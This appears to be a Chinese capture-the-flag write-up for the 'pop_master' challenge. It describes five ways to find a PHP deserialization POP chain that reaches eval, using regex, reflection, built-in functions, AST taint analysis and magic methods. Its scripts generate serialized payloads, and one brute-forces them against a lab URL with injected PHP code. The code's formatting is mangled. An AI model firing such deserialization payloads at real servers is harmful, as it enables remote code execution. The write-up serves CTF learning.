pop_master的花式解题思路

  • A+
所属分类:逆向工程

0x00 前言

在今年六月份的强网杯中,有一道叫做pop_master的题目。简单描述就是从一万个类中,筛选出可利用的pop链路。在赛前,笔者并未了解过抽象语法树的概念。当时是通过PHP的魔术方法完成了这一个有趣的题目。

作者提供了环境生成器,才有了这篇文章(题目生成器):https://gitee.com/b1ind/pop_master

官方的WP正解为AST抽象语法树以及它的污点分析,题目质量还是相当可以的,至此,笔者想到了多种解题思路,并给大家分享。

0x01 思考方向

笔者在刚拿到这16w行代码也是一脸懵。

pop_master的花式解题思路

近十七万行代码,当然人工审计几乎是不可能的。那么我们的思考方向,大致为下图:

pop_master的花式解题思路

这是我们平时审计的步骤,当然也是编写poc的思路,但是在这道题中,可以看到这样方式的查找,最终的查找结果是一个树形结构。我们始终在进行查找操作,直到查找到eval为止,那么我们可以使用递归的形式来帮助我们查找,但是这里我们又要将每一个类都解析出来才可以这一系列操作,所以这里我们需要借助于正则表达式。

0x02 第*种解法

解法一:传统的正则表达式

使用正则的解法其实是不太符合官方的意愿的,使用正则表达式的方式太过于古老,这里笔者分享一篇文章:

https://zhuanlan.zhihu.com/p/260013208

但是我们确确实实可以通过使用正则表达式来解析出每一个类,然后进行递归查找的操作。这种古老的方式我们也记录在内。

这里笔者将类的解析规则定义为下图:

pop_master的花式解题思路

通过function下的键值来进行递归查找,如果function的键值为其他函数名,那么递归去查找,如果function的键值为空数组,那么将它认为eval函数,递归停止,以此类推。编写好的poc1.py如下:

import re, os, time
targetFunction = 'c83OsD'File = open('class.php', 'r').read()MyClass = []AllPop = []def main(): ParseClass(File) findEval(targetFunction) makePoc()def ParseClass(File): global MyClass classes = re.findall(r'(classs(.+?){([Ss]*?)}nn)', File) # classes[n][0] 类主要结构 classes[n][1] 类名 for i in classes: classItem = {} classItem['className'] = i[1] classItem['propertyName'] = re.findall(r'publics$(.+?);', i[0])[0] functionValue = re.findall(r'(publicsfunctions(.+?)($(.+?)){(([Ss]+?);nn[Ss]+?)})', i[0])
FunctionItem = {} for f in functionValue: FunctionItem[f[1]] = [] # classItem['function'].append() # f[1] 函数名 f[2] 参数名 f[3] 方法体
this2Func = re.findall(r'([st]$this->.+?->(.+?)(.+?));', f[3]) if len(this2Func) != 0: for t in this2Func: FunctionItem[f[1]].append(t[1]) classItem['function'] = FunctionItem MyClass.append(classItem)def findEval(startFunc, string = ''): global AllPop for classItem in MyClass: nexts = classItem['function'].get(startFunc) if nexts != None: if len(nexts) == 0: string += classItem['className'] AllPop.append(string.split('->')) for key, nexted in enumerate(nexts): if key == 0: string += classItem['className'] + '->' findEval(nexted, string)def makePoc(): poc = "<?phpn" for i in MyClass: poc += '''class %s{ public function __construct($a = 0){ $this -> %s = $a; }}'''%(i['className'], i['propertyName']) for item in AllPop: poc += 'file_put_contents("poc.txt", serialize(' for clsName in item: poc += 'new %s('%(clsName) for clsName in item: poc += ')' poc += ') . "\r\n", FILE_APPEND);n' open('poc.php', 'w').write(poc) os.popen('php poc.php') print('成功生成poc.txt文件,请使用爆破脚本爆破POP链路...') time.sleep(2) os.remove('poc.php')if __name__ == '__main__': main()

Pop链爆破脚本:

import requests, threading, time
url = 'http://www.myctf.com/popmaster/popmaster/index.php'fileName = 'poc.txt'def readFile(): return open(fileName, 'r').read().split('n')def attack(POP): Param = '?pop={}&argv=var_dump("aaaaaaaaaaaaaaaaaaaa");//'.format(POP) result = requests.get(url + Param).content.decode('utf-8') if 'aaaaaaaaaaaaaaaa' in result: print('----------------------------------') print(POP) print('----------------------------------')if __name__ == '__main__': fileData = readFile() for POP in fileData: threading.Thread(target=attack, args=(POP,)).start() time.sleep(0.001)

将题目的class.php放入到当前目录,修改Poc1.py的targetFunction变量,随之执行脚本,再执行爆破脚本,就可以拿到正确结果。

流程动图:点击底部【阅读原文】查看

最终也是使用了POP链路爆破的手段,但是深度想一下,其实正则也是可以进行污点分析的,只要我们正则到位,可以匹配到 if, for等消毒语句,并进行一步一步分析块代码就可以了。只是有点繁琐而已。这里笔者也不会去尝试了。

解法二:PHP的反射

在解法一的正则表达式中,我们的初始目的就是为了将类与函数统统获取,然后再梳理他们之间的关系。但是使用正则表达式是消极的,因为我们只是通过语句结构的样式来进行匹配,当语句结构比较复杂时,使用正则表达式可能不太理想。

那么我们获取类与函数为什么不使用反射呢?在反射中,类与函数都已经作为了“块”等待着我们去获取,这里我们可以使用PHP的反射来拿到类的名称,类的属性,类的方法,然后再进行梳理他们之间的关系,也是可以的。

编写PHP代码:

<?phpini_set('memory_limit','-1'); set_time_limit(0);
require './class.php'; # 题目的类文件$funcName = 'c83OsD'; # 初始查找方法$classes = get_declared_classes();$classesInfo = [];$pop = [];foreach($classes as $key => $value){ if($key > 144){ # 设置最初始的键值 $obj = new ReflectionClass($value); $classesInfo[$key]['className'] = $value; foreach($obj -> getProperties() as $property){ $classesInfo[$key]['property'][] = $obj -> getProperties()[0] -> name; } foreach($obj -> getMethods() as $method){
$funcObj = new ReflectionMethod($value, $method -> name); $start = $funcObj->getStartLine() - 1; $end = $funcObj->getEndLine() - 1; $filename = $funcObj->getFileName(); $funcValue = implode("", array_slice(file($filename),$start, $end - $start + 1)); preg_match_all('/$this.+->(.+?)(.*?);/im', $funcValue, $matches); if($matches){ if(isset($matches[1]) && count($matches[1]) !== 0){ foreach($matches[1] as $MethodName){ # var_dump($MethodName); $classesInfo[$key]['function'][$method -> name][] = trim($MethodName); } }else{ $classesInfo[$key]['function'][$method -> name][] = 'Eval_'; } } }
}}function findEval($nowFunc = 'yMLezf', $string = ''){ global $classesInfo, $pop; if(count($classesInfo)){ foreach($classesInfo as $item){ if(is_array($item['function'])){ foreach($item['function'] as $functionName => $functionCall){ if($functionName == $nowFunc){ foreach($functionCall as $next){ if($next == 'Eval_'){ $string = $string . $item['className'] . "---{$item['property'][0]}"; $pop[] = array_unique(explode('->', $string)); }else{ $string .= $item['className'] . "---{$item['property'][0]}" . '->'; findEval($next, $string); } } } } } } }}findEval($funcName);$evalString = "<?phprnunlink(__FILE__);rn";foreach($classesInfo as $value){ $evalString .= <<<EOFclass {$value['className']} { public function __construct($a = 'a'){ $this->{$value['property'][0]} = $a; }}EOF;}foreach($pop as $pop_){ $evalString .= "file_put_contents('poc.txt', serialize("; foreach($pop_ as $key => $value){ $classesInfo = explode('---', $value); $className = $classesInfo[0]; $evalString .= <<<EOFnew $className(EOF; } foreach($pop_ as $key => $value){ $evalString .= <<<EOF)EOF; } $evalString .= ") . "\r\n", FILE_APPEND);rn";}file_put_contents('./temp.php', $evalString);echo '<img src="./temp.php">生成poc.txt成功. 请查看poc.txt文件';

因为poc为PHP编写,所以在这里我们需要注意,在nginx需要配置nginx.conf添加如下配置:

fastcgi_connect_timeout 300;

fastcgi_send_timeout 300;

fastcgi_read_timeout 300;

pop_master的花式解题思路

以防止PHP报出500错误。

还有一点我们需要注意的就是POC中的第13行。

pop_master的花式解题思路

笔者这里$key定义为144的原因是,因为我们使用了get_declared_classes()来获得php中已定义的类,随后再使用反射。这里会获得到原生类,所以我们应该找到非原生类的键值,如图:

pop_master的花式解题思路

为了将原生类过滤掉,这里必须要设置一下键值。

流程动图:点击底部【阅读原文】查看

由于使用了反射机制,所以该POC脚本执行比较慢,笔者这里等了1-2分钟。

解法三:PHP提供的方法

在PHP中,可以使用get_declared_classes来获取所有的类,使用get_class_vars获取类的成员属性,使用get_class_methods获取类下的所有方法,所以使用PHP提供给我们的方法,也是可以拿到类与函数的结构的,这里笔者就不再重复演示了。

解法四:AST抽象语法树

当然,AST抽象语法树也是官方正解,POC也是使用PHP-Parser来进行编写的,它好在非常轻松的就可以做污点分析,并且我们不需要去梳理类与函数的关系,因为语法树已经保留了类与函数的关系,我们直接在语法树上操作就可以了。

关于AST抽象语法树笔者这里分享两篇文章,讲的非常不错。

https://blog.zsxsoft.com/post/42

http://j0k3r.top/2020/03/24/php-Deobfuscator/#0x02-%E8%A7%A3%E6%B7%B7%E6%B7%86-%EF%BC%88Deobfuscate%EF%BC%89

在自动化审计之前,我们都是使用PHP-Parser来做混淆/解混淆工作。

当然,不能有官方的POC,笔者就偷懒,在这里笔者写了个稍微简单点的POC,它只是分析了赋值语句的问题,因为在题目的最终点,都是一个eval。所以我们做污点分析只需要注意变量的赋值操作就可以了。如图:

pop_master的花式解题思路

以上就是我们需要注意的场景。

代码放到了码云:

https://gitee.com/He1huKey/popmaster/blob/master/popmaster.zip

在压缩包下的Part4目录下。

流程动图:

pop_master的花式解题思路

可以看到,与官方生成的pop链是一致的。

解法五:PHP魔术方法

除了我们从第三视角来看这十六万行代码外,我们应该考虑一下让PHP自己本身正向去查找可利用的链路,这里我们依赖于PHP的魔术方法。

这种解法也是笔者第一次解出题目的解法,因为PHP本来就是一个非常灵活的语言,我们应该让它在一万个类中灵活起来。

简单demo举例:

pop_master的花式解题思路

为了可以让A可以自动查找到B,B可以自动查找到C,这里我们需要继承一个父类,然后定义一个__get魔术方法。

pop_master的花式解题思路

可以看到,我们并没有进入到__get方法,__get方法会在“访问不存在的成员属性”的时候所调用。所以我们需要将每一个类的public xx属性给删除掉,我们再次访问。

pop_master的花式解题思路

这样一来我们就可以调用到__get方法了,那么调用到__get方法有什么用呢?

这里我们可以将__get的返回结果定义为$this,什么意思呢?简单描述就是将

$this -> propertyA -> FuncB();

这段代码解释为:

$this -> FuncB();

这样的话反而会调用到本类的__call方法,因为本类根本没有定义FuncB这个类,如图:

pop_master的花式解题思路

这样一来,我们就可以从__call方法中进行查找操作了。如图:

pop_master的花式解题思路

可以从图中看到,成功找到了phpinfo函数,那么编写POC:

import re, sys
classPath = './class.php' # 复制类文件到这里def start(): value = open(classPath, 'r').read() pregClass = 'class(.+?){' pregPublic = 'public $.+?;' pregExists = 'if(method_exists(.+?))' pregEval = 'eval' result = re.sub(pregClass, r'class1 extends MyClass{', value) result = re.sub(pregPublic, '', result) result = re.sub(pregExists, '', result) result = re.sub(pregEval, 'myfunc', result) return resultdef myClass(allClass): myClass = '''<?php class MyClass{ public function __get($name){ $this -> funcName = $name; $this -> $name = $this; return $this -> $name; } public function __call($funcName, $funcValue){ $classes = get_declared_classes(); foreach($classes as $key => $value){ if(strlen($value) == 6){ try{ $obj = new $value; if(method_exists($obj, $funcName)){ $this -> {$this -> funcName} = $obj; $obj -> $funcName($funcValue[0]); } }catch(Exception $e){ } } } unset($this -> {$this -> funcName}); echo "\r\n"; } } function myfunc($value){ if(substr($value, 0, 7) == 'aaaaaaa'){ echo serialize($GLOBALS['obj']); die; } } ''' return myClass + allClassif __name__ == '__main__': print('请在当前目录下放置 class.php 文件...') if len(sys.argv) < 3: exit('请传输调用的 类名 与 方法 名') AllClass = start() PHP = myClass(AllClass.replace('<?php', '')) open('myclass.php', 'w').write(PHP) IndexPHP = '''<?phpinclude "myclass.php";$obj = new %s();$obj -> %s('aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa');'''%(sys.argv[1], sys.argv[2]) open('myindex.php', 'w').write(IndexPHP) print('生成完毕...请执行myindex.php...')

流程动图:点击底部【阅读原文】查看

0x03 Ending

整个题目之旅非常有趣,感觉AST这门技术是我们必须要掌握的一门技术,不管从自动化审计方面,还是混淆与解混淆方面,使用AST可以很方便的处理这些东西。

文章中所使用的所有代码:

https://gitee.com/He1huKey/popmaster/blob/master/popmaster.zip

pop_master的花式解题思路



精彩推荐





pop_master的花式解题思路

pop_master的花式解题思路

pop_master的花式解题思路

pop_master的花式解题思路

pop_master的花式解题思路

本文始发于微信公众号(FreeBuf):pop_master的花式解题思路

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: